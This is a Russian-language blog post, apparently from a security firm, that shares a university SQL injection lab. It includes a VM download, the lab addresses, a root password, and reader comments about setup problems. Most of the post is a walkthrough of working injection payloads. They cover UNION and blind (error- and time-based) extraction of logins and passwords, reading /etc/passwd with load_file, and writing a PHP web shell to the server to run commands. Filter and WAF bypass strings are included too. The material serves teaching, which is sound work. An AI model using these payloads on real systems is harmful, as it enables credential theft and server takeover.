Advanced SQL Injection lab (full pack)

По полученным просьбам, выкладываю полные оригиналы всех материалов, которые готовились для МИФИ по теме "Внедрение операторов SQL".

Оригинал презентации:



Раздаточный материал:

Виртуальную машину, можно забрать отсюда (UPDATED).

MD5 0cd5f40393f887aea025ab9b03799b11 *PT-SQL-Injection-LAB.rar

Технические детали:

Для запуска виртуальной машины может использоваться VMWare Player. IP-адрес системы управления - 192.168.0.50 (management). IP-адрес системы для проведения лабораторной работы – 192.168.0.51 (target). Пароль на учетную запись "root" в ОС/MySQL – "Mifilab1".

Подсказки по выполнению лабораторной работы:

1.1 "Внедрение операторов SQL" (SQL INJECTION)

http://192.168.0.51/
'or 1=1--
http://192.168.0.51/action2.php?id=14+OR+1=1--
http://192.168.0.51/action2.php?id=14+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns--
http://192.168.0.51/action2.php?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users--

1.2 "Слепое внедрение операторов SQL" (BLIND SQL INJECTION)

http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+limit+0,1)))--
http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+0,1)))--
http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+3,1)))--
http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+where+table_schema!='information_schema'+limit+4,1)))--
http://192.168.0.51:81/actions.php?id=1+AND+extractvalue(1,concat(0x5C,(select+concat_ws(0x3a,login,password)+from+users1+limit+0,1)))--

http://192.168.0.51:81/actions.php?f=1+and+sleep(10)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='a',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),1,1)))='2',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),2,1)))='b',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),3,1)))='l',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),4,1)))='i',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),5,1)))='n',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),6,1)))='d',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),7,1)))='s',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),8,1)))='q',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),9,1)))='l',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),10,1)))='a',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),11,1)))='d',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),12,1)))='m',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),13,1)))='i',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),14,1)))='n',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),15,1)))=':',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),16,1)))='p',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),17,1)))='a',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),18,1)))='r',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),19,1)))='0',sleep(10),1)--
http://192.168.0.51:81/actions.php?f=1+AND+if((lower(mid((select+concat_ws(0x3a,login,password)+from+users2+limit+0,1),20,1)))='l',sleep(10),1)--

1.3 Работа с файловой системой при эксплуатации уязвимости SQL INJECTION

http://192.168.0.51:8080/index.php?fl=5+union+select+load_file('/etc/passwd')--
http://192.168.0.51:8080/index.php?fl=5+union+select+load_file('/')--
http://192.168.0.51:8080/index.php?fl=5+union+select+load_file('/usr/local/www/apache22/data3/tmp/')--
http://192.168.0.51:8080/index.php?fl=5+union+select+'test'+into+dumpfile+'/usr/local/www/apache22/data3/tmp/test.txt'--

1.4 Выполнение команд на сервере при эксплуатации уязвимости SQL INJECTION

http://192.168.0.51:8080/index.php?fl=5+union+select+'<? system($_GET[cmd]); ?>'+into+dumpfile+'/usr/local/www/apache22/data3/shells//test.php'--
http://192.168.0.51:8080/shells/test.php?cmd=ls

1.5 Обход программных фильтров безопасности при эксплуатации уязвимости SQL INJECTION

http://192.168.0.51:8585/hex.php
http://192.168.0.51:8585/actions.php?d=1/**/or+1=1--
http://192.168.0.51:8585/actions.php?d=1/**/or/**/1=1
http://192.168.0.51:8585/actions.php?d=1/**/uni--on/**/se--lect/**/1
http://192.168.0.51:8585/actions.php?d=1/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/AND/**/table_name/**/not/**/in(0x616374696F6E73)
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/limit/**/0,1/**/un--ion/**/sel--ect/**/1
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/limit/**/3,1/**/un--ion/**/sel--ect/**/1
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/limit/**/4,1/**/un--ion/**/sel--ect/**/1

http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x2e,table_schema,table_name)/**/from/**/information_schema.columns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/limit/**/2,1/**/un--ion/**/sel--ect/**/1
http://192.168.0.51:8585/actions.php?d=1/**/limit/**/0/**/uni--on/**/se--lect/**/concat_ws(0x3a,username,pass)/**/from/**/web4.usersdb/**/limit/**/0,1/**/un--ion/**/sel--ect/**/1

1.6 Обход Web Application Firewall (WAF) при эксплуатации уязвимости SQL INJECTION

http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+1,2,3
http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+1,2,table_name+information_schema.columns
http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+1,2,3+from+users
http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b)a
http://192.168.0.51:9191/index.php?id=1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b+using(id))a
http://192.168.0.51:9191/index.php?id=1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b+using(id,wafusr,pwdwwaff))a
http://192.168.0.51:9191/index.php?id=-1+union/*&lang=*/select+wafusr,pwdwwaff,priv+from+users

ЗЫ: с учетом метода, приведенного в предыдущем посте, часть 1.6 может выполняться гораздо проще;)

49 комментариев :

  1. Отличный материал, во всех ВУЗах надо так.

    ОтветитьУдалить
  2. У нас так и было, только в рамках тренировок CTF, а не в учебном процессе.

    ОтветитьУдалить
  3. по какой лицензии выпускаешь? :)))

    ОтветитьУдалить
  4. to Nikita Rrrr:

    :))) очень хороший вопрос!
    Материалом можно пользоваться в любых целях, вплоть до полного копи-паста в собственные учебные материалы, курсы и презентации. Необходимо только ссылаться на то, что материал был подготовлен на основе курса Positive Technologies (мы эту тему все равно будем развивать, вероятно, придем к полному курсу по безопасности Web-приложений). И не обязательно ссылаться в данном случае на этот блог, ссылка может быть и на оф. сайт Компании, например, на раздел аналитики: http://www.ptsecurity.ru/analytics.asp
    И раз уж, речь зашла про наш раздел аналитики, не забываем, что сайт представлен на двух языках и часть материала также переводится на английский язык http://www.ptsecurity.com/analytics.asp

    ОтветитьУдалить
  5. Скажите пожалуйста, а как начать лабораторную работу? Всмысле, с помощью какой команды перейти на адрес с заданиями?

    []# http://192.168.0.51:80/
    No such file or a directory.

    ОтветитьУдалить
  6. А можно презентации в виде обычного .pdf?

    ОтветитьУдалить
  7. необходимо установить на сетевом адаптаре ip-адрес из подсети 192.168.0.0/24 (например, 192.168.0.1 маска 255.255.255.0). после этого, можно подключиться (браузером) к http://192.168.0.51:80/ и далее по списку
    ЗЫ: само собой, нужно поднять (загрузить) виртуальную машину

    ОтветитьУдалить
  8. >> А можно презентации в виде обычного .pdf?
    будет выложена по адресу: http://www.ptsecurity.ru/analytics.asp

    ОтветитьУдалить
  9. пожалуйста: http://www.ptsecurity.ru/download/PT-devteev-Advanced-SQL-Injection.pdf

    ОтветитьУдалить
  10. Здравствуйте.
    Скажите пожалуйста, где можно скачать виртуальную машину PT_SQL_Injection_MIFI-LAB.rar, а то ссылка на странице не работает?

    ОтветитьУдалить
  11. произошел сбой сервера. файл будет снова доступен на download.securitylab.ru в ближайшее время

    ОтветитьУдалить
  12. Здравствуйте.
    Скажите пожалуйста, существуют ли какие-нибудь письменные материалы в которых пояснялись бы примеры из презентации? И существует ли статистика уязвимостей веб-приложений за 2010 или 2011 года?

    ОтветитьУдалить
  13. собственно вот: http://www.slideshare.net/devteev/pt-mifi-labsql

    Касаемо статистики за 2010 год, она на стадии подготовки.

    ОтветитьУдалить
  14. Спасибо. А ещё Вы не подскажите, когда приблизительно она появится?

    ОтветитьУдалить
  15. Здравствуйте.
    Извиняюсь, что постоянно есть вопросы. Но при выполнении лабораторной работы возникла проблема. После того как был получен пароль пользователя blindSQLadmin, я зашел под ним в систему, но перехода на страницу /actions.php не обнаружил. При переходе на нее в адресной части ничего не меняется, то есть задания остаются недоступными(то есть не появляется ничего в адресной строке к чему можно было бы дописывать параметры по заданию). Прошу Вас помочь с этим.

    ОтветитьУдалить
  16. очень странно... насколько я помню в интерфейсе должна быть ссылка. в любом случае, должен работать следующий запрос: http://192.168.0.51:81/actions.php и уязвимость в параметре "f": http://192.168.0.51:81/actions.php?f=1+and+sleep(10)--

    ОтветитьУдалить
  17. Эти запросы я сразу и попробовал. При вводе последнего не выдается ни ошибка, ни какая-либо другая информация. Может с установкой машины я сделал что не так. Установил ее в связке с Ubuntu, так как там же просто консоль.

    А так получается что, раз на этом этапе пароль не получить, то и дальнейшие задания выполнить не удастся.

    Все равно спасибо за помощь.

    ОтветитьУдалить
  18. Здравствуйте. Скажите пожалуйста, когда в вашем блоге будет выложена свежая статистика уязвимостей (за 2010/11 года)?

    ОтветитьУдалить
  19. Здравствуйте. Я опять с тем же вопросом. Скажите пожалуйста, когда в итоге в вашем блоге будет представлена свежая статистика уязвимостей?

    ОтветитьУдалить
  20. в начале следующего месяца (теперь точно:))

    ОтветитьУдалить
  21. эх, очень жаль. мне так нужна свежая для диплома) буду ждать с нетерпением)

    ОтветитьУдалить
  22. Извините, по ссылке файл PT_SQL_Injection_MIFI-LAB.rar не скачивается. Просьба сообщить актуальную ссылку.

    ОтветитьУдалить
  23. Просьба еще раз выложить файлик с виртуалкой.

    ОтветитьУдалить
  24. Перезалейте please файл с виртуалкой !!!

    ОтветитьУдалить
  25. на виртуалке не установлен Mysql

    ОтветитьУдалить
  26. Вы извините, что может смешные вопросы задаю, фрибсд не пользовался, а убунту только из под графической оболочки. Я так понял, браузер из под графического интерфейса нужно запускать, а никакого графического пакета на представленной виртуальной машине предустановленного нет?

    ОтветитьУдалить
  27. Так, выходит, нужно загрузить какой-то графический пакет. Но он не загружается, недоступен урл, пишет система. В этом случае нужно сменить адрес на другой, с маской 24, как вы написали выше? В таком случае, мне осталось лишь найти в мануалах, как сменить сетевой адрес в ос при помощи командной строки, сделать это, загрузить кде или что-нибудь еще там, запустить ее и затем можно приступать к выполнению работы?

    ОтветитьУдалить
  28. >> Так, выходит, нужно загрузить какой-то графический пакет

    нет, система работает из коробки

    >> В таком случае, мне осталось лишь найти в мануалах, как сменить сетевой адрес в ос при помощи командной строки

    пример для windows из командной строки:
    netsh interface ip set address name="Local Area Connection" static 192.168.0.100 255.255.255.0 192.168.0.1 1

    ОтветитьУдалить
    Ответы
    1. Для приведенной команды отвечает "Синтаксическая ошибка в имени файла, имени папки или метке тома."
      Осталось непонятным, как все-таки настроить возможность выходить с браузера. Буду признателен за подробное или работающее решение

      Удалить
  29. Добрый день, Вы не подскажите новичку, почему не получается подключиться по указанному адресу через браузер? Виртуалка с фрей запущена, айпи адрес на eth0 сменил на айпи из локальной подсети. Надо ли что-нибудь на виртуалке прописвыать или необходимо просто залогиниться? Сижу на дебиане. Буду очень благодарен за ответ.

    ОтветитьУдалить
  30. изменил другое устройство lo

    lo Link encap:Local Loopback
    inet addr:192.168.0.15 Mask:255.255.255.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:65536 Metric:1
    RX packets:168 errors:0 dropped:0 overruns:0 frame:0
    TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:12348 (12.0 KiB) TX bytes:12348 (12.0 KiB)

    начал передавать пакеты, но через браузер не получается подконнектться

    ОтветитьУдалить
  31. через пинг шлет пакеты, а телнет connection refused

    ОтветитьУдалить
  32. из фрей телнет не работает(из виртуалки)

    ОтветитьУдалить
  33. lo - это интерфейс локалхоста, его трогать не нужно

    ОтветитьУдалить
  34. Дмитрий, а ссылку на виртуалку или скрипты как то можно ещё получить? :)

    ОтветитьУдалить